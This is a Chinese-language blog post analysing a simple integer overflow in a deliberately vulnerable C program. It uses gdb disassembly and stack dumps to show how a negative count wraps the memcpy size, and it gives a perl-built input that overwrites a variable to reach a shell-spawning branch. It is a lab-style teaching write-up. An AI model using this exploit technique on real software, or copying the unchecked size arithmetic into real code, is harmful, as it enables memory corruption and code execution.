2011年9月20日 星期二

简单整型溢出分析


源代码 interger.c
------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{

        int count = atoi(argv[1]);
        int buf[10];

        if(count >= 10 )
                return 1;

        memcpy(buf, argv[2], count * sizeof(int));

        if(count == 0x574f4c46) {
                printf("WIN!\n");
                execl("/bin/sh", "sh" ,NULL);
        } else
                printf("Not today son\n");

        return 0;
}
------------------------------------------------------------------------------



如果count >= 10, 则程序退出,想要执行到下面的语句,我们必须给count赋值一个负数
关键是计算count*sizeof(int)的值, sizeof(int)在intel 32 位的机器上因该是一个机器
字长为4.我们构造一个负数值给count,其二进制补码如下:
1000 0000 0000 0000 0000 0000 0001 0000
对应的十进制数值为:-2147483632
这样count * sizeof(int)的值如下(即上面的值左移2位):
0000 0000 0000 0000 0000 0000 0100 0000

则count * sizeof(int) = 64

这个整形溢出其实是buf的内存空间覆盖到了count的内存地址



使用gcc编译 gcc -o q9 -g interger.c, 用gdb调试
> gdb q9

用disassemble 查看反汇编代码

------------------------------------------------------------------------------
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048444 <+0>: push   %ebp
   0x08048445 <+1>: mov    %esp,%ebp
   0x08048447 <+3>: and    $0xfffffff0,%esp
   0x0804844a <+6>: sub    $0x40,%esp
   0x0804844d <+9>: mov    0xc(%ebp),%eax
   0x08048450 <+12>:    add    $0x4,%eax
   0x08048453 <+15>:    mov    (%eax),%eax
   0x08048455 <+17>:    mov    %eax,(%esp)
   0x08048458 <+20>:    call   0x8048370 <atoi@plt>
   0x0804845d <+25>:    mov    %eax,0x3c(%esp)
   0x08048461 <+29>:    cmpl   $0x9,0x3c(%esp)
   0x08048466 <+34>:    jle    0x804846f <main+43>
   0x08048468 <+36>:    mov    $0x1,%eax
   0x0804846d <+41>:    jmp    0x80484db <main+151>
   0x0804846f <+43>:    mov    0x3c(%esp),%eax
   0x08048473 <+47>:    lea    0x0(,%eax,4),%edx
   0x0804847a <+54>:    mov    0xc(%ebp),%eax
   0x0804847d <+57>:    add    $0x8,%eax
   0x08048480 <+60>:    mov    (%eax),%eax
   0x08048482 <+62>:    mov    %edx,0x8(%esp)
   0x08048486 <+66>:    mov    %eax,0x4(%esp)
   0x0804848a <+70>:    lea    0x14(%esp),%eax
   0x0804848e <+74>:    mov    %eax,(%esp)
   0x08048491 <+77>:    call   0x8048360 <memcpy@plt>
   0x08048496 <+82>:    cmpl   $0x574f4c46,0x3c(%esp)
   0x0804849e <+90>:    jne    0x80484ca <main+134>
   0x080484a0 <+92>:    movl   $0x80485a0,(%esp)
   0x080484a7 <+99>:    call   0x8048380 <puts@plt>
   0x080484ac <+104>:   movl   $0x0,0x8(%esp)
   0x080484b4 <+112>:   movl   $0x80485a5,0x4(%esp)
   0x080484bc <+120>:   movl   $0x80485a8,(%esp)
   0x080484c3 <+127>:   call   0x8048350 <execl@plt>
   0x080484c8 <+132>:   jmp    0x80484d6 <main+146>
   0x080484ca <+134>:   movl   $0x80485b0,(%esp)
   0x080484d1 <+141>:   call   0x8048380 <puts@plt>
   0x080484d6 <+146>:   mov    $0x0,%eax
   0x080484db <+151>:   leave
   0x080484dc <+152>:   ret  
End of assembler dump.
------------------------------------------------------------------------------

在0x08048496处设置断点, br *0x08048496 (cmpl   $0x574f4c46,0x3c(%esp))
------------------------------------------------------------------------------
(gdb) br * 0x08048496
Breakpoint 1 at 0x8048496: file integer.c, line 33.
------------------------------------------------------------------------------

使用run命令,运行程序查看栈
------------------------------------------------------------------------------
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')
Starting program: /home/zhouzhen/CTD/test/q9 -2147483632 $(perl -e 'print "A"x40
      . "\x46\x4c\x4f\x57"')

Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33
33          if(count == 0x574f4c46) {
(gdb)
------------------------------------------------------------------------------

查看栈, 这时候可以发现 count 即0x3c(%esp) 的值为0x574f4c46, 内存地址为0xbffff10c
-----------------------------------------------------------------------------
(gdb) x/4wx $esp+0x3c
0xbffff10c: 0x574f4c46  0x48535300  0x4547415f  0x505f544e
(gdb)
-----------------------------------------------------------------------------
已经成功达到了我们想到的地方。

参看栈分布情况
------------------------------------------------------------------------------
Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33
33        if(count == 0x574f4c46) {
(gdb)
(gdb)
(gdb) p $esp
$1 = (void *) 0xbffff0d0
(gdb) x/50wx 0xbffff0d0
0xbffff0d0: 0xbffff0e4 0xbffff3a0 0x00000040 0x0804831c
0xbffff0e0: 0x0028bff4 0x41414141 0x41414141 0x41414141
0xbffff0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff100: 0x41414141 0x41414141 0x41414141 0x574f4c46
0xbffff110: 0x48535300 0x4547415f 0x505f544e 0x323d4449
0xbffff120: 0x00373930 0xbffff1c4 0xbffff1d4 0x0012e414
0xbffff130: 0xffffffff 0x0012cff4 0x0804826c 0x00000001
0xbffff140: 0xbffff180 0x0011da31 0x0012dad0 0xb7fffc40
0xbffff150: 0x00000001 0x0028bff4 0x00000000 0x00000000
0xbffff160: 0xbffff198 0xc0563fde 0x170f86a1 0x00000000
0xbffff170: 0x00000000 0x00000000 0x00000003 0x08048390
0xbffff180: 0x00000000 0x00123c40 0x00145d5b 0x0012cff4
0xbffff190: 0x00000003 0x08048390
(gdb) bt
#0  main (argc=3619120, argv=0xbffff1c4) at integer.c:33
(gdb) print 0xbffff0d0+0x3c
$2 = 3221221644
(gdb) br *0x08048491 (call   0x8048360 <memcpy@plt>)
Breakpoint 3 at 0x8048491: file integer.c, line 31.
(gdb) info br
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048496 in main at integer.c:33
breakpoint already hit 1 time
3       breakpoint     keep y   0x08048491 in main at integer.c:31
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /test/q9 -2147483632 $(perl -e 'print "A"x40
                        . "\x46\x4c\x4f\x57"')

Breakpoint 3, 0x08048491 in main (argc=3, argv=0xbffff1c4) at integer.c:31
31        memcpy(buf, argv[2], count * sizeof(int));
(gdb)
(gdb) p $esp
$3 = (void *) 0xbffff0d0
(gdb) x/4xw 0xbffff0d0
0xbffff0d0: 0xbffff0e4 0xbffff3a0 0x00000040 0x0804831c
(gdb)

溢出后进程空间布局


|----------------------------|.                                                          
  0x08048496 (Ret)                                                            
|---------------------------|.                                                          
| 0xbffff0e4(buf)     | <------ esp      (0xbffff0d0)                             
|---------------------------|                                                           
  0xbffff3a0(argv[2])       esp+4                                             
|---------------------------|                                                           
  0x00000040              esp+8                                             
|---------------------------|                                                           
..................                                                            
                                                                              
|---------------------------|                                                           
 "A"x40  (buf)               esp+0x14 (0xbffff0e4)                             
|---------------------------|                                                           
 0x574f4c46(count)      esp+0x3c (0xbffff10c)                             
|---------------------------|                             




buf 地址0xbffff0e4, count 地址 0xbffff10c

计算出距离为40
(gdb) print 0xbffff10c - 0xbffff0e4
$12 = 40

这里还有一个little endian 还是 big endian的问题, 这将影响0x574f4c46 的顺序
ubuntu linux, intel 32 位, 使用的little endian,应此最后构造的数据是

$ perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"'

0 评论: